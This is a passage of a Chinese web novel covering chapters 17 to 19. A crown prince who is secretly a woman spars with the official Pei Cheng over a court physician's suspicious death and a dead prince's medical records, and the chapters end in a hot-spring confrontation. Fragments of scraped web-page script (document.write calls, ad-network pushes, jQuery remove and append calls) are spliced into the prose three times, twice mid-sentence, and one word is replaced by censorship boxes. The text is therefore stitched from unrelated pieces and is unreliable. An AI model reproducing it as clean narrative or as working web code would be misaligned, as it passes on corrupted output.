裴承闻弦音知雅意,“殿下的意思,是要与臣通力合作?” 李相筠弯起唇,清目浓睫,那张动人的脸浸润着薄汗,就像春露滚上了花瓣,一颤一摇都是动人。 “裴执玉,你不敢吗?” 17.交心 “与虎谋皮的事,听起来还不错。”裴承把之前从太子身上摸来的刀拿出来,递向李相筠。 “好刀可不是用完就丢的。” 李相筠看见自己失而复得的刀没接,神情古怪,眼瞥向裴承,“刀若是反过来伤主,那还能算的上是把好刀?” 裴承笑了下,把刀放在李相筠腿上,“那是主人的事,和刀没有关系。” 用不好刀就好像用不好人。 都是使用者的能力不足罢了。 如何物尽其用,人尽其用,都是上位者的能力。 自己能力不足,又如何去怪刀怪人? “确实。”李相筠拿起膝上的短刀打量片刻,掀起下摆,将短刀送回一直缚在小腿上的刀鞘里。 裴承见他居然把这么锋利的刀收在腿上,也不怕动作大了会划伤自己。 李相筠放好下摆,才发现裴承居然一直在盯着自己。 她虽是女儿身,但十八年来都只把自己当个男人,除了不能在外人面前袒露身体,其他行止坐卧就与儿郎无异。 所以这一掀衣摆的事其实再正常不过,只是裴承的注视让她感觉到一些不自然,不由恶声问:“你看什么?” 裴承失笑,这个太子真是有意思。 说他城府深嘛,他又十分好激,稍一拨弄就会应激,要跳起来与人拼命。 “臣在想殿下是不是连睡觉都要在枕头下放把刀?” 李相筠会意,微微一笑,“是啊,孤不但在枕头下放刀,还在门顶上搁水桶,床边按机关,若有不长眼的敢擅闯,保准走着进来拖着出去。” “就像吕常侍一样吗?”裴承在月牙凳上坐下,一副打算和太子促膝长谈的模样,“汪正阳把他送给殿下,恐怕是因为此人口里有殿下想知道的东西,殿下煞费苦心拷问,不知都得出了什么?” 李相筠道:“孤得到的那可是多了,只不过不知道裴少保想知道的是什么?孤总不能把所有知道的都和盘托出吧?” “殿下好没诚意,适才说要合作的话莫不是只是想要稳住臣?行缓军之计?”裴承微笑。 嘿,还真叫他看得一清二楚。 不过李相筠才不会傻到如实回答,跟着打马虎眼道:“诚意不是口头说,而是切身体会的,这话好像还是裴少保说的?” 以子之矛攻子之盾,再完美不过。 裴承道:“此一时彼一时,那时候殿下没有与臣交心,臣又怎么敢托付?” “那现在可以托付了,裴少保有什么要告诉孤的?”李相筠是不见兔子不撒鹰,精明着。 若是裴承手上没有什么砝码值得交换,她透露太多岂不是吃亏了。 对手不好打发,裴承只能开口: “黄监丞原本姓孙,是宫中给圣人皇后问诊的孙署令之子,他生在杏林之家,颇具天赋,本可以继承父亲衣钵,但因父亲突然暴毙而亡,求助无门兼心灰意冷之下,想要弃医从文,姚相公与他家有故交,加上怀贤太子帮助,隐名埋姓,更改身份从新开始,以寒门白衣的身份科举中第,进入国子监。” “你是说姚相公和怀贤太子帮黄监丞捏造了身份?” 李相筠觉察黄监丞的身份存疑,但是她万万没有想到当初帮助他的人会是太子皇兄。 皇兄为什么要帮助他? “他不是个坏人,救过不少人的命,或许怀贤太子也欠了他的人情说不定。”裴承看出小太子一脸怀疑。 “他不是个坏人?”李相筠不信,冷哼道:“他以鬼神之说,处处要置孤于死地,让孤举步艰难,还一直鼓动那帮臭儒生在后面编排孤的罪行,就连孤养的鹅一日之中多吃点菜叶子他们都说东宫奢靡浪费,天下落到孤手里,就是羊入虎口,立马完蛋!” 裴承道:“这是殿下与他之间的恩怨,臣不知全貌不好评论,臣只说出殿下想知道却不知道的事情。” 裴承能猜出李相筠想知道的,但是李相筠却猜不出裴承想知道的。 偏他又不可能透露自己的真实意图,始终藏身在一团让人看不透的迷雾当中。 李相筠就道:“孙署令死前最后一个病人是章平太子。” 裴承道:“所以汪正阳交给殿下的是孙署令的医案?” “你知道汪正阳交了东西给孤?”李相筠回过味来,“你派人监视孤?!” “碰巧见到了,谈不上监视,殿下有执金卫团团保护,怎么还没有这点自信?”裴承轻轻揭过:“所以医案上有什么?” 李相筠盯着裴承看,对方半点心虚的样子都没有,不知道是脸皮真的厚还是所言非虚,她只好继续道:“章平太子有雀盲症,还有狂症,这两样可都不是好治的病。” “章平太子既有雀盲症,又怎会在上元节夜游曲江池,并且不慎溺死?” 这次,李相筠望着裴承不再回答。 一件不合常理的事情发生了,其中必有阴谋。 若有受害者就必然会有得益者,章平太子的死最终得益的人是怀贤太子。 李相筠不想用恶意去揣度皇兄,但是这些信息落入“有心人”耳中,必然会有所反应。 她想要知道,对皇兄有恶意的敌人究竟有多少。 皇兄的死,对他们又有什么益处。 裴承自己开口道:“那就意味着章平太子溺死前后,孙署令可能已经不在了。” 因为章平太子死后,圣人悲痛欲绝,缠绵病榻一直不见好,而这个时期没有孙署令的医案记录,说明他无法或者不能接触皇帝了。 李相筠点了下头。 “殿下。”门口邓谦来敲门。 李相筠看向裴承。 裴承识趣地站起来,主动结束了这场夜谈,“殿下既然受了伤,那今夜就好好休息吧,臣告退。” 门打开,邓谦看着裴承走出来,只点了下头以示招呼了,抬脚就往屋内走。 裴承下意识回头,看见太子披衣起身。 邓谦禀道:“殿下,死者全身无伤,也无中毒迹象,那妇人也说自己丈夫并无隐疾,在她出门前还好端端的,会不会是中了慢性毒药?” “如果是慢性毒药,那说明也不是一天两天的事,他们是怎么知道孤要用这考生对付裴府尹,又是如何选择在孤出手后让他恰到好处地死去,让这一切合情合理都成为孤所为?” 邓谦也想不通,只能道:“如果能算无遗策到如此地步,恐怕只有神仙了吧?” “你也信神仙?”李相筠瞥了眼他。 邓谦一摇头,捏紧拳头,“臣不信,若世上真有神仙,当年臣的父母、亲族就不会被流寇屠光。” 他那么虔诚地向所知道的各路神仙都祈祷过,希望他们躲藏的山洞不会被发现,希望他们都能平安度过这一劫。 可是那些凶残的流寇还是找到了他们,并且残忍地把他们一一杀害。 他眼睁睁看着鲜血一点点浸透他的鞋袜,润湿他的裤腿,再一点点把他淹没。 自此,他再不信神佛,只信手里的刀和权。 李相筠望着这个年过三十的男子头一次在她面前红了眼睛。 父母亲人在许多人心中都是时间岁月无法抹去的痕迹,所以才会有人一直在为一个“为什么”而奔波追寻。 为什么父母会被流寇杀死?为什么父亲会突然去世? 为什么皇兄会死去? 有些“为什么”能找到答案,有些或许穷极一生也得不出个解释。 李相筠对邓谦道:“冤有头债有主,当年那么多赤乌流寇不可能完全没有踪迹,只要寻到一二线索,你也能有机会为父母报仇。” / 翌日,大明宫。 裴承从小内宦打起的珠帘里进去,先听见几声清脆鸟叫。 翠叶舒展的盆栽之后,一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 位白面无须的宦官穿着一身紫衣圆领袍,腰间玉带上垂了只金鱼袋。 他手里正提着只小巧金丝鸟笼逗弄。 “干爹,裴少保到了。”小内宦谄媚地叫了声。 汪正阳回过头,露出和蔼的笑容,转身迎上几步,“执玉来了,昨夜听说平康坊又发生了一起有关学子的命案,哎春闱将近,怎么如此多变故呢?来,坐坐——” 飞星飞雨靠墙边站好,裴承坐在椅中,端起热茶嗅了嗅茶香,又放在了手边。 “所谓多事之秋,现在是水浑人杂,兴许有不少人在浑水摸鱼,想从中得到益处。” 汪正阳笑了笑,保养得当的脸皮上居然不见一丝皱纹,看起来也不过三十出头的样子。 “这事我给你透个底,并非我动的手,这要是弄得不好,裴贤侄岂不是也要跟着受罪?说到底也是那太子平日里不知收敛,得罪了不少人呐。” “我想被得罪的人里也包括汪中尉吧。”裴承只笑道:“能让汪中尉舍弃一个贴心的干儿子,剜肉补疮的痛非同小可,不过你不怕在重刑之下他说了不该说的给太子听,反而不妙。” 汪正阳目光在飞星和飞雨身上瞟过,浅笑道:“驭下之术执玉只怕比我还厉害,我呢,好在也有一点雕虫小技,不怕他敢乱说话。” “还有什么执念比得过人的生死?” 汪正阳有意让气氛轻松,故而也随口聊了起来,“我这个干儿子啊原本也是个心冷手狠的人,当年跟着圣人打回长安的时候还立了个小功,但是他最后悔的事情就是当年对自己父母见死不救,让二老居然落入赤乌流寇的手里,多年来不知生死下落,正巧我替他寻到了两位老人的下落,于是他什么都愿意去做。” “那两位老人?” “拿了钱就走了,应该已经离开长安了吧。” “哦?儿子的尸也不收了?” 汪正阳微笑:“谁知道呢。” 裴承赞道:“攻心之术,好手段。” 汪正阳客套:“哪里,我们的手段不过班门弄斧,真正厉害的还是执玉你啊。” 裴承也和他客套,两人面热心冷地讲了几句无关紧要的话,裴承又问:“汪中尉知道孙署令的事,那是不是也知道章平太子的事?” 汪正阳一愣,小心问:“执玉从哪得来此说?” “汪中尉不是让吕常侍带一本孙署令的医案给太子么?那自然是太子说的。” “太子居然会跟你说这些?”汪正阳更惊。 裴承笑了笑,“一些小手段,不足挂齿。” 汪正阳眼中露出了警惕,不动神色把身子往后靠去,“孙署令的医案我也是偶然得到的,至于章平太子……” 他摇了摇头,“真是可惜,一场意外,后来皇后这么多年都没能生出皇子来,偏让他捡了便宜。” 这个“他”指的只能是李相筠。 不能说是皇后的身体不好,毕竟宫里还有这么多妃嫔,不一样也没有人能再孕育皇嗣。 但没人敢直言是圣人生不出,除非是不想要自个的脑袋。 “果真是个意外?” “除了是个意外还能是什么?皇后可把太子看得跟个眼睛珠子似的,圣人尤其喜爱章平太子,太子惯用的人差不多有上百人,无不精心伺候他,只能说是命吧。” 裴承坐了两盏茶的功夫才告辞。 汪正阳坐在远处反复回想两人的对话没有任何明显破绽,才唤来贴心的干儿子。 “去找圣主给我配一个定风香,下次裴承来的时候记得点上,还有叫外面玄扇卫的人留心不要让他私下再去见圣人了。” “干爹?”小内宦似乎不解怎么短短时间里他就变得这么提防或者说害怕裴承了。 “裴家就是龙潭虎穴,能做家主的人岂能小觑,与这种人打交道若是不小心谨慎,只怕连什么时候着了他的道都不清楚!” 18.温泉 东宫。 “不知殿下唤奴婢来有什么事吗?” 李相筠对陆展使了个眼色,陆展退出门去,把地方留给他们。 陆巧燕垂手在身前,手指互相攥紧,眉心深刻川字,面上浮出了警惕神情。 李相筠尽可能和蔼道:“陆姑姑是母后身边的老人,在宫里也待了快三十年,一些陈年旧事,思来想去询问姑姑是再合适不过了。” “殿下有何吩咐,奴婢定会遵循。” “没有什么吩咐,只是想问一问,不知姑姑可否还记得孙署令?” 忽闻此人,陆巧燕脸色微变,但很快她就平静道:“孙署令是宫中医令,从前圣人娘娘有个头疼脑热都是孙署令来看的。” 回答中规中矩,都是事实,断不会出错。 但李相筠没有错漏陆姑姑脸上刚刚一闪而过的惊怕。 “听闻孙署令医术高超,所以圣人十分信任他,可他是因为什么事被处死的?” 宫里对外的说词是暴毙,但是众观古今,暴毙总是用来掩盖一些不好为外人所知的隐情。 “奴婢也不是很清楚。”陆巧燕目光不躲不闪,“只听说他死的很突然,不过医者不自医,兴许孙署令自己有隐疾也说不定,殿下怎么忽然想问这个?” 作为皇后身边第一女官,早已经历过无数的风雨,如今还能伴着皇后屹立不倒,手段能耐缺一不可。 “是吗?因为孤恰好有一本从火盆里救出来的医案,正元九年孙署令最后是为章平太子看诊,随后不久,他就暴毙了。” 孙署令的死肯定不简单,所有才会有人特意在他死后把他书写的东西烧掉。 陆巧燕脱口而出:“医案?” 不管陆巧燕知不知道孙署令怎么死的,但她的反应兴许是知道医案被烧过,并且意外为什么还没有烧掉。 李相筠趁胜追击:“陆姑姑知道?” 陆巧燕眼神忽闪了下,又摇头:“殿下这话奴婢不太明白,一个死了十几年医官最后一份医案能说明什么?还是殿下真正想问的是,孙署令是否被皇后娘娘所杀?” 她的直白反击,倒让李相筠缓和了进攻,“孤可没有这样讲。” 陆巧燕继续道:“殿下知道孙署令为章平太子诊了什么,就应知道娘娘断没有必要对孙署令下手。” 李相筠缓缓道: “不巧,医案被火烧了不少,孤并不知道孙署令写了什么,章平太子是得了什么重病吗?” “寻常风寒罢了……”陆巧燕语气和缓,忽而望着李相筠感叹道:“殿下不提,奴婢都不知原来已经过去了那么多年,正元九年的确发生了很多事,皇后刚痛失太子,圣人也悲痛欲绝卧病在床,殿下出生的时候,还是奴婢去照料卫婕妤产子,后来皇后娘娘知道卫婕妤生下麟儿,都喜极而泣,感谢上天恩赐。” 李相筠怔怔看着陆巧燕。 陆巧燕款款行了一礼,“前尘往事,殿下还是莫要好奇,有些事情不清不楚也不是件坏事。” 陆展随后进来,发现李相筠魂不守舍地坐着没有动,窗外的阳光照在他的脸上,他的皮肤像雪一样莹白透亮,也冰冷无气。 “殿下?” 陆展有些担忧地走近他,“您没事吧?” 李相筠就像是快要溺水的人,忽然大喘了口气。 她抓住陆展的手,声音几乎是从齿缝里艰难挤出,“孤要杀她。” “殿下要杀谁?”陆展一惊,他看着自己小臂上的那只紧攥的手,又望向李相筠的脸。 那张脸上顷刻露出茫然与脆弱,就像是早春迎来的晚雪,不合时宜地点融在温暖的阳光里。 陆展几乎错不开眼。 太子李相筠从来恣肆骄傲,何曾会在人前露出这样的表情,就好像他也会需要一个依靠。 李相筠又摇了摇头,松开了手,弯了下唇,“被一个不懂事的奴婢撞见孤儿时的窘事,刚刚听陆姑姑说起,真是令孤又惊又恼啊。” 陆展抬手捂住自己的小臂,袖子上被抓皱的地方轻轻蹭过他的掌心,有些发痒。 “儿时谁没有一两件糗事,姨母她也经常取笑臣……” 李相筠也不记得自己最后又和陆展胡乱扯了什么闲话,总算把人送了出去。 还没清净片刻,邓谦就来禀告,“赵郡王世子想见殿下。” “李柏寒?”李相筠揉了揉鬓角,烦躁道:“他来做什么?” 邓谦还没回答,李相筠已经改变了主意,“让他进来。” “世子说他不进东宫,要殿下到外面见他。” 李相筠一口气提了上来,真恨不得把李柏寒倒吊起来,晃一晃他脑子里的水。 真当她是什么洪水猛兽,喜欢男色到昏头的地步,会光天化日把他关在东宫当男宠? 李相筠好奇什么风把这么惧怕自己的人吹了过来,耐住脾气缓步走到东宫门口,没想到李柏寒的脸比她还臭。 “太子殿下,你可知道平康坊的案子已经越闹越大了,大理寺和刑部的人都是白吃饭的吗?” “平康坊?”李相筠脑子还乱糟糟的,忽然被李柏寒这劈头盖脸的一通话砸得半天理不清头绪。 她抬起一只手,“慢——李世子这案子和你有什么关系?” 李柏寒噎了一下,才继续道:“和我是没有干系,但和关娘子有关系。” 李相筠起了好奇: “关娘子?怎么回事?” “目前为止已经发现死了三个人了,他们说是关娘子的画里藏有会杀人的妖怪,买了她画的人会被画鬼吃掉灵魂,无缘无故暴毙而亡!” 李相筠叹了口气,“一定是那个嫉妒关娘子丹青天赋的古墨斋掌柜放出的谣言吧?” 死对头就是这样,一有机会就会把对方往死里踩,连画杀人这样的鬼话都能编排出来,可见是有多么怨恨和嫉妒。 李柏寒用鼻子哼了一声出来,“总而言之,大理寺再不快点破案,关家的大门都要被那些愚昧无知的蠢人给拆了。” “谁敢对户部侍郎的府邸动粗,更何况还有你这位李世子坐镇,关娘子出不了事,再说了,画杀人这样的谣言传不了多久,你总要给时间让人破案吧?大理寺又不是孤管的……”李相筠不由嘀咕了句,“要找也找裴少保。” “这案子本就与殿下有关系,殿下应该抓紧催促才是。” “是是是,全长安只要出了命案,全是孤的问题。” 李相筠承认得快,李柏寒反倒有些过意不去,补充道:“我也没有这样说!” “李世子不知,覆水难收之理,孤真的很伤心。”李相筠蹙眉扁嘴,幽怨地目光瞥向李世子。 李柏寒汗毛倒竖,不禁倒退一步,但李相筠又追上一步。 这一退一逼直到把人迫到东宫院墙,被阴影所罩。 李柏寒面孔涨红,不禁喊道:“李相筠!” 李相筠正待要继续逗他,忽然敏锐察觉到背后有几道视线落在了自己身上,她回头,就见裴承一行人不知何时,正站在后面看着他们。 “你们三位走路也没个声,什么时候鬼都能在青天白日里行走了?” “是殿下您太专注了。” 裴承目光淡淡扫过两人,在李柏寒那张文秀儒雅的脸上停留了许久。 李柏寒心中是又恼又怒,偏不能对李相筠做什么,只能忍气吞声与裴承见礼,又一甩袖子回自己马车上去。 李相筠目送李柏寒离开,又看向裴承。 “裴少保这么早就回来,大理寺那边的案子不需要你盯着了?” “臣又不会验尸,等仵作填完验尸单再说。” 裴承随着李相筠的脚步一起往东宫里面走,“殿下与关娘子很熟?” “还成,她画不错,人也有趣。” 听他这个评价,似乎对关娘子也没有什么别的心思,但能把李柏寒惹得这样在意,仿佛也在印证太子因爱生恨,横刀夺爱的传闻。 李相筠被他的目光盯得有些发毛,没话找话道:“你也听说关娘子的画会杀人一说?” “外面都在传,想不听说也难。” “三人成虎,有人在里面浑水摸鱼。” “是,臣已经把那传谣言的抓了起来,想必严加审问也能问出点东西。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 解铃还须系铃人,攻破谣言最快的法子莫过于让传谣言的人自己来澄清。 李相筠瞥了眼裴承。 虽然是个难缠又讨厌的对手,但是裴承的行事作风,她还是欣赏的。 干净利落,精准果断。 比尸位素餐,只知道空谈道理的大臣好多了。 倘若他不是裴家人,李相筠或许还会生出招揽的念头。 只可惜啊……她看见这张脸就恨不得把他扇到八百里外去! “鱼!我的鱼!” “啾——”得声,一条大鱼突然滑铲到两人之中。 李相筠瞅了地上的鱼又抬头去看远处的胖子。 只见那人手舞足蹈跑了过来,撑膝喘息好一阵,才抬手说道:“小人、小人见过殿下,见、见过裴少保。” “汤伯这是怎么回事?” 汤伯又拍着胸口缓气,虚弱道:“都是小冬子说什么之前看过关娘子的画,自觉离死期不远了,成日躺在床上唉声叹气,今日送了鱼来只能小人去搬。” 汤伯在东宫也是从个小杂役一步步做到如今的掌厨,从怀贤太子到李相筠,也算是东宫里的老人,平日里最有兴致的事就是研究点营养好吃的把李相筠养得高壮一点…… 李相筠对裴承道:“裴少保,这案子不抓紧时间破,不知道又有多少人要惶恐了。” 裴承也看他,“吓死胆小的,留下胆大的,殿下不就一点也不怕吗?” 汤伯不是头一回见裴承,但此刻他就站在李相筠身边,被衬得臂宽腿长,英武强健,心底替太子那是一阵羡慕。 怎么他悉心喂养的李相筠就不够高也不够壮? 鱼还在地上蹦跶,汤伯肥胖不灵活,怎么也抓不住。 李相筠把路边上石灯笼的顶盖拿起来,眼睛也不眨一下,往鱼脑袋上一拍。 鱼老实了,飞星也吓呆了。 李相筠扣住鱼嘴把鱼提溜起来,很自然地递给汤伯。 汤伯眉开眼笑接了过去,又跟在他身后关切地道:“天寒了,小人给殿下熬点大补的汤吧,免得手脚冰凉不灵活耽误了公务,还有啊,殿下有空的时候也别忘记泡泡热汤池,不然冬天可要遭罪了……” 李相筠有些无奈道:“知道了。” 眼看着人就加快了步伐,汤伯个子矮小,两条腿不得不抡得更快才能追上他。 “殿下莫要敷衍,补汤要喝,热汤也要泡啊!” “热汤啊,我记得家主的寝殿后面是不是也有个热汤池,冷天里泡着肯定舒服……还是长安好啊,会享受,咱们那儿的热汤池都用来养虫子了。”飞星一把勾住飞雨,撺掇道:“要不今晚我们也去泡泡。” 飞雨拍下他的手,“家主体热着呢,用不着那些。” 裴承道:“偶尔也无妨。” / 李相筠的身子较常人都要寒,据闻是从前卫婕妤给她喂了超量的寒药,所以长这么大,她也没来过女子所谓的月事。 辛芷为此劝她一定要找大夫调养,但是李相筠却觉得少了些女子特征对她岂不是更安全的事,故而一直没有放在心上。 唯独手脚寒冷让她有些头疼,因为冰冷会让人僵硬,僵硬使人迟钝。 迟钝则会要了她的命。 所以汤伯送上来的补汤她喝光了,汤伯说的话她也听了。 消完食换好药,将伤口用特制的皮贴裹住,兀自去了寝殿后的小汤池。 这里已经由人打理过,衣物用具齐全,只是伺候的人全都退了个干净,保准没有人会打扰。 李相筠脱了衣物,把缠胸的带子先用旁边的水洗干净,再挂在云纹翘首的立架上滴着水,这才缓缓走入乳白色的温泉水里。 这里的温泉水是从地下涌出又通过特制陶管接入不同的宫殿,除了东宫之外,只有一二宫殿能用上这温泉水。 李相筠坐在浅水区,让温泉水没过锁骨,她往后仰,将脑袋搁在池边的藤枕上闭目养神,太过舒服就睡了去。 不知过了多久,泉水暗流涌动,一整片墙悄无声息在轨道上翻转。 露出一条窄缝。 19.同池 “啊!——” 凄厉的喊叫声让烛火都不安震颤,满室的宫婢都慌了起来。 “婕妤出血了怎么办啊,这是不是要早产了!” “别慌,我们不能慌,快去太医署请人……” “辛姐姐你忘记了,圣人病重,太医署哪有人来照顾我们婕妤,加上又是早产……恐怕皇后那边还乱着,现在要去找接生的稳婆也是不容易啊。” 屏风之后隐隐有个扭曲的影子,拱起的圆腹仿佛就要撑破的花苞,与纤细的四肢对比鲜明。 “婕妤这胎太大了,若无稳婆与医署怕是……” “辛……芷……” 宫婢胡乱抹了两把泪湿的眼睛,快步走到屏风后边。 一只青筋凸显的手抓住她,“去、去找陆、陆女官,我……我对她有恩……” 匆匆的脚步声伴随着宫婢的低泣由远至近。 “婕妤娘娘若是信得过奴婢,奴婢的母亲曾是接生婆,奴婢小时候就时常帮母亲为人接生。” “你怎么能行?!娘娘!”婕妤身边的贴身宫婢立刻道:“奴婢已经派人去请稳婆了。” “不行了,我的孩子,让她、让她来……” 蜡烛烧到尽头,残光昏暗。 婴孩呱呱坠,所有宫婢虚软了身体瘫坐在一片乌糟的地上,心如死灰。 “婕妤……” 陆女官看着手心里又红又皱的孩子,眉头微蹙,忽而她仿佛察觉了什么,抬眸望向前方,好像隔空与窥探着往事旧尘的人对上了视线。 “是个公主啊……” 李相筠浑身颤抖,拼命挣扎。 无数的手从四面八方伸出来,牢牢按住她,她一仰头就看见重重玉阶之上,身着龙袍的圣人居高临下,目光严厉。 “圣主所言极是,断不能让大黎国祚断于此,烈火焚汝等凡身,英灵自可通往极乐,为大黎永世昌隆尽孝尽忠!——” 他一挥手,底下数百名身着白色道袍的教徒端着蜡烛分两列鱼贯而出,袍裾下的焰火图腾鲜艳刺眼。 周围哭声骤响。 “阿耶,不要啊,阿娘救我——” “不,我不想死,我不要死,放开我,我是大黎的公主!” 一个个鬓乱钗垂的宫装丽人跪倒在地上,哭得撕心裂肺。 “圣人饶了三娘吧!她刚定了亲啊!求求您,皇后娘娘皇后娘娘,太子出事真的与三娘无关,看在三娘孝顺的份上,饶了她吧!” “圣人我的茹儿还病着,她才六岁啊,不要杀她,不要啊……” 李相筠扭头望着她们。 左边的是那个曾怯生生递给卫婕妤一只小玉婵的,说要送给未出生的弟弟或者妹妹的三皇姐,右边的是抱着一匣子玩具天真地说,等卫婕妤生了孩子,她就不是最小的六皇姐。 其余的都是她不曾谋面,在她出生前死去的皇姐们,里面还有太子皇兄的嫡亲皇妹,据说和她笑起来有几分相似。 李相筠浑身滚烫,好像已经被火点着了身体。 她泪流满面,着急地在人群里寻找卫婕妤。 终于,终于她在左手边看见那冷艳的宫装美人,合手垂袖站在一众伤心欲绝的妃嫔之中,轻盈的袖身裙摆被热浪冲得不住翻滚,她的目光冷漠怨毒。 “滚吧!我宁可从没有生过你这个杂种,你身上流淌的另一半血让我觉得恶心透顶,李相筠你给我记住,我们卫家没有对不起你们李家!” 天旋地转,她不断看见左手边的卫婕妤被拉拽到她的正前方,又从她的正前方晃到右手边,然后一闪又复位到了左手侧,周而复始,源源不绝。 她承受不住那么多的怨恨,恨不得在这一刻就死去。 “殿下?” 李相筠猛地睁开眼,从噩梦抽离的瞬间,她看见了和梦见不相上下的可怕景象。 水池里,一道高大赤裸的身影正拨开缭绕的热雾,朝自己走来。 乳白色的温泉水随他走动而晃动,一次次撞上她的肩头,溅射.在她脸颊,温热的水滴缓缓滑落。 她睁大双眼,如见鬼了样目睹裴承走近,险些骂出脏话。 “你、你怎会在此!” 听太子不再胡乱呓语,裴承站住脚,反手指了一下身后道:“臣刚才泡澡时听见墙之后有声响异动,觉得奇怪便摸索了阵,不想这面墙上有机关,也不知触碰到什么便打开了,结果见到是殿下……” 李相筠沉身在水中,听到他这一番解释,简直气得要吐血。 该死的伤太子,色令智昏荒唐无稽!居然在太子汤池和宠妃汤池之间开了道机关门,想来是为了逃开那些起居注官的监督,好夜夜寻欢作乐! “既见到是孤,为何不速速离去!”不怪李相筠怒火冲天,她现在水底下可是□□! “本是想离开,但机关门合上了,臣刚刚找了一圈,也没能找到重新打开的地方。” 其实裴承也不愿意和太子泡在一个池子里,要不是刚刚察觉太子不对劲,怕他淹死在这小池子里,届时他在这里既出不去也说不清。 这才不得不靠近。 裴承初来乍到东宫,不可能知道连她都不清楚的机关门,看起来不像是撒谎,可能真是个意外。 好在温泉水不透,她又一直沉在水里,李相筠镇定下来,慢慢思量对策。 滴答滴答—— 这时余光李相筠注意到自己的束胸带还挂在旁边滴着水,她的头皮顿时麻炸了。 回过眼,发现敏锐的裴承也顺着她的目光看了去。 一颗心瞬间提到嗓子眼。 她生怕被瞧出什么,划拉一下岸边的托盘用力撞上支架的腿。 “哐当”一巨响,木支架应声而倒,束胸带飞出,扑通落入水中。 裴承顺势要去捞,李相筠赶紧用手扑了他一脸的水,自己则快速在水底摸了起来。 “殿下这是做什么?”裴承把脸上的水一抹去,见李相筠已经沉下了身,那精致的下巴尖紧挨着水面,一双眼睛明灿锐利地盯着自己,像只蓄势待发的小兽,准备扑杀猎物。 “你别管!” 李相筠往前摸索,明明落水的地方就在附近,可怎么也摸不到那根长布条,真是见了鬼! “殿下是在找这个?”裴承从自己腰间捋了一把,就把被水流推过来的布条从水底提起来,他仔仔细细打量,“这么宽,又这么长……” 水沿着裴承提起来的布条哗啦啦地往下流,李相筠眼睛都气红了。 如果她去抢,动作一大,势必要暴露自己的秘密,到那个时候她只能不管不顾,先把裴承杀掉! 杀掉? 这个念头冒出来,李相筠就不由琢磨起来。 虽然会有一些麻烦,但总比他回过神发现她的大秘密要好的多! “是做什么用的?”裴承察觉太子的神情不对,但依然没有松手,反而还多看了两眼,甚至用手搓揉了下。 这布条质地细软,倒很适合做贴身衣物,但是如此宽长,又不像是腰带,也不知能够穿在哪里? 李相筠看他还拿近眼前仔细盯着瞧,气极反笑,背靠池壁,一伸臂,拿起岸边的金制酒樽,将里面的余酒缓缓注入池里,“你给孤,孤告诉你是怎么用的。” 裴承思忖片刻,把布条团起,抛还给李相筠。 李相筠眼明手快,拿到缠胸布后就裹住酒樽,以酒樽的重量甩动布条,像是长鞭挥出,紧密缠住裴承的脖颈。 湿漉的布有了重量,缠绕间有微窒的错觉,仿佛像是有生命的蛇,在一点点绞紧猎物。 裴承稍昂起脖颈,睫毛低覆,眸光向下瞥了一眼,又望向不远处的太子,唇角微勾,“原来是殿下傍身的武器。” 李相筠面无表情道:“裴少保运气不好,居然闯进了孤的禁地。” 裴承侧了脸颊,俊逸的脸上还沾着水珠,长眸稍睁,那水珠还时不时滚落 ,说不上的惑人,他轻轻“哦”了声,“所以殿下对臣这就动了杀心?” 李相筠猛拽了下手里的布条,裴承身子往前一倾,不禁往前挪了一步。 这一步的距离正入李相筠下怀。 “怎么会,裴卿要与孤协心戮力,孤怎么舍得?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 李相筠眉眼俱弯,笑意灿烂,她甚少这般笑,因为皇兄说过她这样很漂亮。 但漂亮是她身为皇太子最不重要也最危险的事。 裴承也察觉到了她的不同,只是他也不会想到,李相筠冲他笑的时候,她的手指在水下已经扣住腰后的一块凸石。 那是一处机关,会在水池两侧同时往中央射出五十发弩箭,即便是绝顶的高手在这样近的距离也绝无反应的时间与速度。 “殿下泡了这么久,不难受吗?” 温泉虽好,但是久泡容易对身体造成负累,更何况这里热气腾腾,对裴承而言更是如架在火上煮一样。 他是站着,水环在腰间,但是李相筠坐在池边石上,水都没过胸口。 李相筠一手拉着布条,一手覆在凸石,面笑心冷,“孤生来比旁人惧冷。” “臣与殿下不同,怕热,还是先出去为好。”说着,裴承朝李相筠倚身而坐的台阶走来,唯有从这边上去比较轻松。 “慢着!”李相筠没有多余的手可用,只能抬起一条腿,正准备压下布条,好让裴承那高高昂起的脑袋低下来,但她的腿才破水而出,裴承的手已经随之而来,精准无误地握住她的脚踝,并顺势往上一扯,李相筠的身子被拽得往水里滑落,不得已仰起脖子,以免口鼻淹入水中。 这个视线看过去,裴承精壮的上半身更具有冲击力,那是成年男子久经锤炼的身体。 裴承道:“殿下这用脚往人脸上招呼的留人方式也格外新颖。” 李相筠咬牙。 刚刚她就不该犹豫,早点把这祸害射成刺猬就没有这一出事了! “放开!” 李相筠的腿在半空踹了踹,没能挣开桎梏。 裴承还道:“臣都没用上力。” 李相筠恶狠狠瞪他。 她之前没有想过往他脸上踹,但是现在尤其地想! 她不但要踹,还要狠狠踹! 思及此,李相筠干脆闭气,往水里一滑,让自己的身体靠近裴承的同时曲腿发狠一踹他的右腿。 池底本就滑,裴承小腿受击,膝盖便向下沉,下意识就要去撑身,李相筠趁机收回自己的腿,在水里一个灵活腾身,挥臂往深池里游去,直到两息之后才在远离裴承三步远的地方浮出水面。 裴承回头看。 乌发披肩散落水中,小太子满脸滚着水珠,眉毛、睫毛都湿漉漉的,让那张矜骄冷傲莫名有一种乖巧温顺的错觉。 但毕竟是错觉,裴承的腿还隐隐作痛着。 “殿下,这么想要臣留下?” “少胡说八道!你哪只眼睛看见孤……”李相筠缩着肩膀蹲水里,即便她嚷得再大声也缺乏了一点气势。 裴承沿着斜阶往上走出水,水雾缭绕他高大健硕的身体一一展露,那宽厚的背肌,那深陷的腰窝,还有那结实的臀…… 李相筠突然张口结舌,再说不出一个字来。 她是不是应该闭上眼睛,可大家都是“男人”,她忽然闭上眼睛是不是会很奇怪,裴承那人精一定会想七想八,觉得她很可疑。 但,这、这是她能看的吗? 不是说女子看了不该看的东西,眼睛会生病,到时候她不会瞎了吧! “看见殿下什么?” 裴承踩着玉石阶,侧头俯看水里泡得脸和脖颈都通红的小太子,还有她那双睁得又大又圆的眼睛。 裴承顺着他凝视的方向往身上打量。 难道是——长安人也有比长短大小的陋习? 